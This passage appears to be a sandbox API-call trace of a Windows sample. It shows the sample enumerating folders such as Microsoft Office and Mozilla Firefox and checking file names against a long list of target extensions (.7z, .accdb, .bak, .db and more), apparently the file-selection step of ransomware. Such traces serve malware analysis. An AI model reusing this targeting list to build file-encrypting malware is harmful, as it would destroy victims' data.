	[0090.031] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0090.031] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="INF", cAlternateFileName="")) returned 1
	[0090.031] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0090.031] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26abeaf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Installer", cAlternateFileName="INSTAL~1")) returned 1
	[0090.032] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0090.032] FindNextFileW (in: hFindFile=0x3121250, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2f507b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2f507b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2f507b2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~3")) returned 1
	[0090.032] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0090.032] FindNextFileW (in: hFindFile=0x3121250, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-040C-1000-0000000FF1CE}", cAlternateFileName="{90160~4")) returned 1
	[0090.038] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0090.038] FindNextFileW (in: hFindFile=0x3121250, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-0C0A-1000-0000000FF1CE}", cAlternateFileName="{9B17A~1")) returned 1
	[0090.045] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0090.045] FindNextFileW (in: hFindFile=0x3121250, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc28c2111, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc28c2111, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc28c2111, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-006E-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~2")) returned 1
	[0090.045] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0090.045] FindNextFileW (in: hFindFile=0x3121250, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc28c2111, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc28c2111, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc28c2111, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-006E-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~2")) returned 0
	[0090.045] FindClose (in: hFindFile=0x3121250 | out: hFindFile=0x3121250) returned 1
	[0090.045] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0090.046] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e24d55a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e24d55a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e273816, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PCHEALTH", cAlternateFileName="")) returned 1
	[0090.046] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0090.046] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QSIGNOFF", cAlternateFileName="")) returned 1
	[0090.046] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0090.046] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QSIGNOFF", cAlternateFileName="")) returned 0
	[0090.046] FindClose (in: hFindFile=0x31211d0 | out: hFindFile=0x31211d0) returned 1
	[0090.046] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0090.046] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e273816, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERRORREP", cAlternateFileName="")) returned 0
	[0090.046] FindClose (in: hFindFile=0x31218d0 | out: hFindFile=0x31218d0) returned 1
	[0090.046] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0090.048] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b285e60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b285e60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SHELLNEW", cAlternateFileName="")) returned 1
	[0090.050] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0090.050] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b285e60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b285e60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SHELLNEW", cAlternateFileName="")) returned 0
	[0090.050] FindClose (in: hFindFile=0x3121210 | out: hFindFile=0x3121210) returned 1
	[0090.050] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0090.051] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0
	[0090.051] FindClose (in: hFindFile=0x31216d0 | out: hFindFile=0x31216d0) returned 1
	[0090.051] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0090.051] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VFS", cAlternateFileName="")) returned 0
	[0090.051] FindClose (in: hFindFile=0x3121510 | out: hFindFile=0x3121510) returned 1
	[0090.051] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0090.051] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8e53c80, ftCreationTime.dwHighDateTime=0x1d5d3de, ftLastAccessTime.dwLowDateTime=0x5050ef0, ftLastAccessTime.dwHighDateTime=0x1d5cafa, ftLastWriteTime.dwLowDateTime=0x5050ef0, ftLastWriteTime.dwHighDateTime=0x1d5cafa, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="skype.exe", cAlternateFileName="")) returned 1
	[0090.051] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0090.053] FindNextFileW (in: hFindFile=0x3121810, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b7eb14e, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b7eb14e, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Office 15", cAlternateFileName="MICROS~1")) returned 1
	[0090.054] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0090.054] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a709ac0, ftCreationTime.dwHighDateTime=0x1d562d0, ftLastAccessTime.dwLowDateTime=0x39300b80, ftLastAccessTime.dwHighDateTime=0x1d54e5e, ftLastWriteTime.dwLowDateTime=0x39300b80, ftLastWriteTime.dwHighDateTime=0x1d54e5e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="isp physiology.exe", cAlternateFileName="ISPPHY~1.EXE")) returned 1
	[0090.054] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0090.054] FindNextFileW (in: hFindFile=0x3121810, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe99e772e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3e81c1e9, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e81c1e9, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1
	[0090.076] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0090.076] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd77219, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xedb1a83d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xedb1a83d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="features", cAlternateFileName="")) returned 1
	[0090.080] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0090.080] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdc36bc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecdc36bc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb5133d80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x20853ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="omni.ja", cAlternateFileName="")) returned 1
	[0090.081] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0090.081] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xece35df2, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xed7d339e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xed7d339e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisualElements", cAlternateFileName="VISUAL~1")) returned 0
	[0090.081] FindClose (in: hFindFile=0x3121910 | out: hFindFile=0x3121910) returned 1
	[0090.081] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0090.081] FindNextFileW (in: hFindFile=0x3121450, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec033d59, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec033d59, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe2ca280, ftLastWriteTime.dwHighDateTime=0x1d31cde, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.manifest", cAlternateFileName="CHROME~1.MAN")) returned 1
	[0091.127] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.133] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecc92398, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeccb8639, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xeccb8639, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pref", cAlternateFileName="")) returned 0
	[0091.133] FindClose (in: hFindFile=0x3121890 | out: hFindFile=0x3121890) returned 1
	[0091.135] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0091.135] FindNextFileW (in: hFindFile=0x3121450, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0a647c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec0a647c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x4504b780, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x1ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="dependentlibs.list", cAlternateFileName="DEPEND~1.LIS")) returned 1
	[0091.135] lstrlenW (lpString="dependentlibs.list") returned 18
	[0091.135] lstrlenW (lpString=".1cd") returned 4
	[0091.136] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1
	[0091.136] lstrlenW (lpString=".3ds") returned 4
	[0091.136] lstrcmpiW (lpString1=".3ds", lpString2="list") returned -1
	[0091.136] lstrlenW (lpString=".3fr") returned 4
	[0091.136] lstrcmpiW (lpString1=".3fr", lpString2="list") returned -1
	[0091.136] lstrlenW (lpString=".3g2") returned 4
	[0091.142] lstrcmpiW (lpString1=".3g2", lpString2="list") returned -1
	[0091.143] lstrlenW (lpString=".3gp") returned 4
	[0091.143] lstrcmpiW (lpString1=".3gp", lpString2="list") returned -1
	[0091.143] lstrlenW (lpString=".7z") returned 3
	[0091.144] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1
	[0091.144] lstrlenW (lpString=".accda") returned 6
	[0091.144] lstrcmpiW (lpString1=".accda", lpString2="s.list") returned -1
	[0091.144] lstrlenW (lpString=".accdb") returned 6
	[0091.144] lstrcmpiW (lpString1=".accdb", lpString2="s.list") returned -1
	[0091.163] lstrlenW (lpString=".accdc") returned 6
	[0091.163] lstrcmpiW (lpString1=".accdc", lpString2="s.list") returned -1
	[0091.163] lstrlenW (lpString=".accde") returned 6
	[0091.163] lstrcmpiW (lpString1=".accde", lpString2="s.list") returned -1
	[0091.163] lstrlenW (lpString=".accdt") returned 6
	[0091.163] lstrcmpiW (lpString1=".accdt", lpString2="s.list") returned -1
	[0091.163] lstrlenW (lpString=".accdw") returned 6
	[0091.163] lstrcmpiW (lpString1=".accdw", lpString2="s.list") returned -1
	[0091.163] lstrlenW (lpString=".adb") returned 4
	[0091.163] lstrcmpiW (lpString1=".adb", lpString2="list") returned -1
	[0091.163] lstrlenW (lpString=".adp") returned 4
	[0091.163] lstrcmpiW (lpString1=".adp", lpString2="list") returned -1
	[0091.163] lstrlenW (lpString=".ai") returned 3
	[0091.163] lstrcmpiW (lpString1=".ai", lpString2="ist") returned -1
	[0091.163] lstrlenW (lpString=".ai3") returned 4
	[0091.163] lstrcmpiW (lpString1=".ai3", lpString2="list") returned -1
	[0091.163] lstrlenW (lpString=".ai4") returned 4
	[0091.163] lstrcmpiW (lpString1=".ai4", lpString2="list") returned -1
	[0091.163] lstrlenW (lpString=".ai5") returned 4
	[0091.163] lstrcmpiW (lpString1=".ai5", lpString2="list") returned -1
	[0091.163] lstrlenW (lpString=".ai6") returned 4
	[0091.163] lstrcmpiW (lpString1=".ai6", lpString2="list") returned -1
	[0091.163] lstrlenW (lpString=".ai7") returned 4
	[0091.163] lstrcmpiW (lpString1=".ai7", lpString2="list") returned -1
	[0091.163] lstrlenW (lpString=".ai8") returned 4
	[0091.163] lstrcmpiW (lpString1=".ai8", lpString2="list") returned -1
	[0091.164] lstrlenW (lpString=".anim") returned 5
	[0091.164] lstrcmpiW (lpString1=".anim", lpString2=".list") returned -1
	[0091.164] lstrlenW (lpString=".arw") returned 4
	[0091.164] lstrcmpiW (lpString1=".arw", lpString2="list") returned -1
	[0091.164] lstrlenW (lpString=".as") returned 3
	[0091.164] lstrcmpiW (lpString1=".as", lpString2="ist") returned -1
	[0091.164] lstrlenW (lpString=".asa") returned 4
	[0091.164] lstrcmpiW (lpString1=".asa", lpString2="list") returned -1
	[0091.164] lstrlenW (lpString=".asc") returned 4
	[0091.164] lstrcmpiW (lpString1=".asc", lpString2="list") returned -1
	[0091.164] lstrlenW (lpString=".ascx") returned 5
	[0091.164] lstrcmpiW (lpString1=".ascx", lpString2=".list") returned -1
	[0091.164] lstrlenW (lpString=".asm") returned 4
	[0091.164] lstrcmpiW (lpString1=".asm", lpString2="list") returned -1
	[0091.164] lstrlenW (lpString=".asmx") returned 5
	[0091.164] lstrcmpiW (lpString1=".asmx", lpString2=".list") returned -1
	[0091.164] lstrlenW (lpString=".asp") returned 4
	[0091.164] lstrcmpiW (lpString1=".asp", lpString2="list") returned -1
	[0091.164] lstrlenW (lpString=".aspx") returned 5
	[0091.164] lstrcmpiW (lpString1=".aspx", lpString2=".list") returned -1
	[0091.164] lstrlenW (lpString=".asr") returned 4
	[0091.164] lstrcmpiW (lpString1=".asr", lpString2="list") returned -1
	[0091.164] lstrlenW (lpString=".asx") returned 4
	[0091.164] lstrcmpiW (lpString1=".asx", lpString2="list") returned -1
	[0091.164] lstrlenW (lpString=".avi") returned 4
	[0091.164] lstrcmpiW (lpString1=".avi", lpString2="list") returned -1
	[0091.164] lstrlenW (lpString=".avs") returned 4
	[0091.164] lstrcmpiW (lpString1=".avs", lpString2="list") returned -1
	[0091.164] lstrlenW (lpString=".backup") returned 7
	[0091.164] lstrcmpiW (lpString1=".backup", lpString2="bs.list") returned -1
	[0091.164] lstrlenW (lpString=".bak") returned 4
	[0091.164] lstrcmpiW (lpString1=".bak", lpString2="list") returned -1
	[0091.164] lstrlenW (lpString=".bay") returned 4
	[0091.164] lstrcmpiW (lpString1=".bay", lpString2="list") returned -1
	[0091.164] lstrlenW (lpString=".bd") returned 3
	[0091.164] lstrcmpiW (lpString1=".bd", lpString2="ist") returned -1
	[0091.164] lstrlenW (lpString=".bin") returned 4
	[0091.165] lstrcmpiW (lpString1=".bin", lpString2="list") returned -1
	[0091.165] lstrlenW (lpString=".bmp") returned 4
	[0091.165] lstrcmpiW (lpString1=".bmp", lpString2="list") returned -1
	[0091.165] lstrlenW (lpString=".bz2") returned 4
	[0091.165] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1
	[0091.165] lstrlenW (lpString=".c") returned 2
	[0091.165] lstrcmpiW (lpString1=".c", lpString2="st") returned -1
	[0091.165] lstrlenW (lpString=".cdr") returned 4
	[0091.165] lstrcmpiW (lpString1=".cdr", lpString2="list") returned -1
	[0091.165] lstrlenW (lpString=".cer") returned 4
	[0091.165] lstrcmpiW (lpString1=".cer", lpString2="list") returned -1
	[0091.165] lstrlenW (lpString=".cf") returned 3
	[0091.165] lstrcmpiW (lpString1=".cf", lpString2="ist") returned -1
	[0091.165] lstrlenW (lpString=".cfc") returned 4
	[0091.165] lstrcmpiW (lpString1=".cfc", lpString2="list") returned -1
	[0091.165] lstrlenW (lpString=".cfm") returned 4
	[0091.165] lstrcmpiW (lpString1=".cfm", lpString2="list") returned -1
	[0091.165] lstrlenW (lpString=".cfml") returned 5
	[0091.165] lstrcmpiW (lpString1=".cfml", lpString2=".list") returned -1
	[0091.165] lstrlenW (lpString=".cfu") returned 4
	[0091.165] lstrcmpiW (lpString1=".cfu", lpString2="list") returned -1
	[0091.165] lstrlenW (lpString=".chm") returned 4
	[0091.165] lstrcmpiW (lpString1=".chm", lpString2="list") returned -1
	[0091.165] lstrlenW (lpString=".cin") returned 4
	[0091.165] lstrcmpiW (lpString1=".cin", lpString2="list") returned -1
	[0091.165] lstrlenW (lpString=".class") returned 6
	[0091.165] lstrcmpiW (lpString1=".class", lpString2="s.list") returned -1
	[0091.165] lstrlenW (lpString=".clx") returned 4
	[0091.165] lstrcmpiW (lpString1=".clx", lpString2="list") returned -1
	[0091.165] lstrlenW (lpString=".config") returned 7
	[0091.165] lstrcmpiW (lpString1=".config", lpString2="bs.list") returned -1
	[0091.165] lstrlenW (lpString=".cpp") returned 4
	[0091.165] lstrcmpiW (lpString1=".cpp", lpString2="list") returned -1
	[0091.165] lstrlenW (lpString=".cr2") returned 4
	[0091.165] lstrcmpiW (lpString1=".cr2", lpString2="list") returned -1
	[0091.165] lstrlenW (lpString=".crt") returned 4
	[0091.166] lstrcmpiW (lpString1=".crt", lpString2="list") returned -1
	[0091.166] lstrlenW (lpString=".crw") returned 4
	[0091.166] lstrcmpiW (lpString1=".crw", lpString2="list") returned -1
	[0091.166] lstrlenW (lpString=".cs") returned 3
	[0091.166] lstrcmpiW (lpString1=".cs", lpString2="ist") returned -1
	[0091.166] lstrlenW (lpString=".css") returned 4
	[0091.166] lstrcmpiW (lpString1=".css", lpString2="list") returned -1
	[0091.166] lstrlenW (lpString=".csv") returned 4
	[0091.166] lstrcmpiW (lpString1=".csv", lpString2="list") returned -1
	[0091.166] lstrlenW (lpString=".cub") returned 4
	[0091.166] lstrcmpiW (lpString1=".cub", lpString2="list") returned -1
	[0091.166] lstrlenW (lpString=".dae") returned 4
	[0091.166] lstrcmpiW (lpString1=".dae", lpString2="list") returned -1
	[0091.166] lstrlenW (lpString=".dat") returned 4
	[0091.166] lstrcmpiW (lpString1=".dat", lpString2="list") returned -1
	[0091.166] lstrlenW (lpString=".db") returned 3
	[0091.166] lstrcmpiW (lpString1=".db", lpString2="ist") returned -1
	[0091.166] lstrlenW (lpString=".dbf") returned 4
	[0091.166] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1
	[0091.166] lstrlenW (lpString=".dbx") returned 4
	[0091.166] lstrcmpiW (lpString1=".dbx", lpString2="list") returned -1
	[0091.166] lstrlenW (lpString=".dc3") returned 4
	[0091.166] lstrcmpiW (lpString1=".dc3", lpString2="list") returned -1
	[0091.166] lstrlenW (lpString=".dcm") returned 4
	[0091.166] lstrcmpiW (lpString1=".dcm", lpString2="list") returned -1
	[0091.166] lstrlenW (lpString=".dcr") returned 4
	[0091.166] lstrcmpiW (lpString1=".dcr", lpString2="list") returned -1
	[0091.166] lstrlenW (lpString=".der") returned 4
	[0091.166] lstrcmpiW (lpString1=".der", lpString2="list") returned -1
	[0091.166] lstrlenW (lpString=".dib") returned 4
	[0091.166] lstrcmpiW (lpString1=".dib", lpString2="list") returned -1
	[0091.166] lstrlenW (lpString=".dic") returned 4
	[0091.166] lstrcmpiW (lpString1=".dic", lpString2="list") returned -1
	[0091.166] lstrlenW (lpString=".dif") returned 4
